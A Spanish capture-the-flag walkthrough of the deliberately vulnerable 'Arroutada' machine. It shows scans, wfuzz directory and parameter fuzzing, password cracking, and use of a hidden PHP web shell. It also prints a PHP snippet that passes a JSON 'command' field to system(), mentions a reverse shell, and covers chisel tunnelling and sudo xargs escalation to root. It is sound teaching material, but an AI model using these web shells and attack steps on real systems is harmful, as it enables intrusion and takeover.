WriteUp formato vídeo: https://youtu.be/xxSSvKi-iQ0
En esta ocasión, vamos a estar resolviendo la máquina Arroutada. Esta máquina toca los siguientes puntos:
- Steganography
- Fuzzing Web
- Fuzzing PHP Parameters
- Internal Port Forwarding (chisel)
- PHP Code Inpect
- Abusing sudoers Privilage
Vamos a hacer un escaneo de nuestra red para detectar los dispositivos conectados.
❯ nmap -sn 192.163.0.0/24 -n
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 21:05 CET
Nmap scan report for 192.163.0.1
Host is up (0.00064s latency).
Nmap scan report for 192.163.0.90
Host is up (0.000026s latency).
Nmap scan report for 192.163.0.186
Host is up (0.00052s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.45 seconds
La IP 192.163.0.90 corresponde a mi IP, por ello, la única IP que queda, es la 192.163.0.186.
Una vez con esta IP empezaremos haciendo un escaneo completo por TCP a esta IP (192.163.0.186):
❯ sudo nmap -sSCV -p- --open --min-rate 5000 -vvv -n -Pn 192.163.0.186 -oA portScaned
❯ cat portScaned.nmap
# Nmap 7.93 scan initiated Mon Jan 9 21:08:39 2023 as: nmap -sSCV -p- --open --min-rate 5000 -vvv -n -Pn -oA portScaned 192.163.0.186
Nmap scan report for 192.163.0.186
Host is up, received arp-response (0.00090s latency).
Scanned at 2023-01-09 21:08:40 CET for 8s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.54 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:A4:87:62 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 9 21:08:48 2023 -- 1 IP address (1 host up) scanned in 8.34 seconds
Con este escaneo, nos percatamos que es una máquina Debian y que solamente tiene un puerto TCP abierto, el 80 (HTTP), con este puerto vamos a ver las tecnologías que tiene con whatweb
:
❯ whatweb http://192.163.0.186:80/
http://192.163.0.186:80/ [200 OK] Apache[2.4.54], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], IP[192.163.0.186]
Poco más nos dice, vamos a ver la página principal
Tenemos una imagen, vamos a descargarla y ver los metadatos.
En el Title:
vemos la ruta /scout
. Esta ruta también la pondríamos haber conseguir haciendo fuzzing.
El usuario J1 nos dice que existe una ruta en el servidor que contine la carpeta docs
, el problema aquí es que sabe la “segunda ruta” pero no “la primera”. Para poder fuzzear esto, usaremos WFUZZ con la siguiente sintaxis:
❯ wfuzz -c -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.163.0.186/scout/FUZZ/docs/" --hc=404 --hh=779
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.163.0.186/scout/FUZZ/docs/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000016521: 200 1016 L 12059 W 189767 Ch "j2"
Total time: 174.6431
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: 1262.917
Los parámetros --hc
y --hh
nos sirve para ocultar el resto de peticiones que no nos interesa. Si no sabéis qué hace algún parámetro de algún comando podéis ver su guía oficial o probar la página https://explainshell.com.
Vamos a ver esa ruta.
Hay muchos archivos con Size
0, estos, al estar vacios, los podemos ignorar. Vamos a fijarnos en los que tienen contenido:
El usuario Jabito nos avisa que ignoremos los archivos que empiezan por z
.
Este archivo solamente contiene un modelo de usario:contraseña.
Vamos a intentar crackearla.
❯ libreoffice2john.py shellfile.ods > hash
❯ /home/rijaba1/repos/john/run/john hash -w=$(locate rockyou.txt)
Warning: detected hash type "ODF", but the string is also recognized as "ODF-opencl"
Use the "--format=ODF-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (ODF, OpenDocument Star/Libre/OpenOffice [PBKDF2-SHA1 256/256 AVX2 8x BF/AES])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (crypto [0=Blowfish 1=AES]) is 1 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
john11 (shellfile.ods)
1g 0:00:00:27 DONE (2023-01-09 22:00) 0.03652g/s 604.8p/s 604.8c/s 604.8C/s john11..bob
Use the "--show --format=ODF" options to display all of the cracked passwords reliably
Session completed.
La contraseña es john11
, accedamos al archivo.
Este archivo nos da las disculpas por tener que haber fuzzeado tanto y nos da una ruta para el servidor WEB que, recuerdo, corre en el puerto 80 TCP. Ahora vamos a ver este archivo PHP.
La página está en blanco y no tiene ningún comentario, vamos a intentar fuzzear un parámetro de este archivo para ver si es vulnerable a ejecución remota de comandos.
❯ wfuzz -c -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.163.0.186/thejabasshell.php?FUZZ=id" --hh=0
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.163.0.186/thejabasshell.php?FUZZ=id
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000198: 200 0 L 5 W 33 Ch "a"
Total time: 0
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: 0
¡Sorpresa! Tenemos un “problema” con el parámetro “b”… ¿qué podrá ser?
Vamos a fuzzear también ese parámetro (conservando el “a”) para ver si algo cambia.
❯ wfuzz -c -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.163.0.186/thejabasshell.php?a=id&b=FUZZ" --hh=33
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.163.0.186/thejabasshell.php?a=id&b=FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000006168: 200 1 L 3 W 54 Ch "pass"
Total time: 0
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: 0
Dando el valor “pass” al parámetro “b” podemos ejecutar comandos de manera remota como el usuario “www-data”.
Nos mandamos una Reverse-Shell de manera URL Encoded.
Configuramos la Reverse-Shell, la URL Encodeamos y la mandamos al servidor.
Para hacer un tratamiento de la TTY ejecutamos lo siguiente:
script /dev/null -c bash
^Z
stty raw -echo; fg
reset
xterm-256color
export TERM=xterm-256color SHELL=bash
Descubrimos que el puerto 8000 TCP está abierto localmente. Dado que no tenemos curl
, nos descargamos el binario de chisel desde su GitHub (https://github.com/jpillora/chisel/releases/tag/v1.7.7) y lo subimos en la máquina víctima. También configuramos el túnel para el Port Forwarding.
Comprobamos el código fuente de la página y nos percatamos de una cadena en BrainFuck y de un comentario que nos dice que “sanitizemos” el archivo priv.php
El archivo PHP tiene comentado el posible código de este archivo.
Código PHP:
$json = file_get_contents('php://input');
$data = json_decode($json, true);
if (isset($data['command'])) {
system($data['command']);
} else {
echo 'Error: the "command" parameter is not specified in the request body.';
}
Básicamente, este código, mediante una petición POST usando JSON, podemos ejecutar comandos remotamente. Vamos a intentar ejecutar código remotamente.
Nos mandamos una Reverse-Shell (como la otra)
De nuevo, tratamiento de la TTY
script /dev/null -c bash
^Z
stty raw -echo; fg
reset
xterm-256color
export TERM=xterm-256color SHELL=bash
Descubrimos que tenemos unos permisos especiales con sudo -l
, abusaremos del binario xargs
para elevar nuestros privilagios hacia el usuario root.
Con esto, ya tendríamos los máximos privilegios en la máquina. La parte de conseguir las “flags” del usuario y de root os lo dejo a vosotros.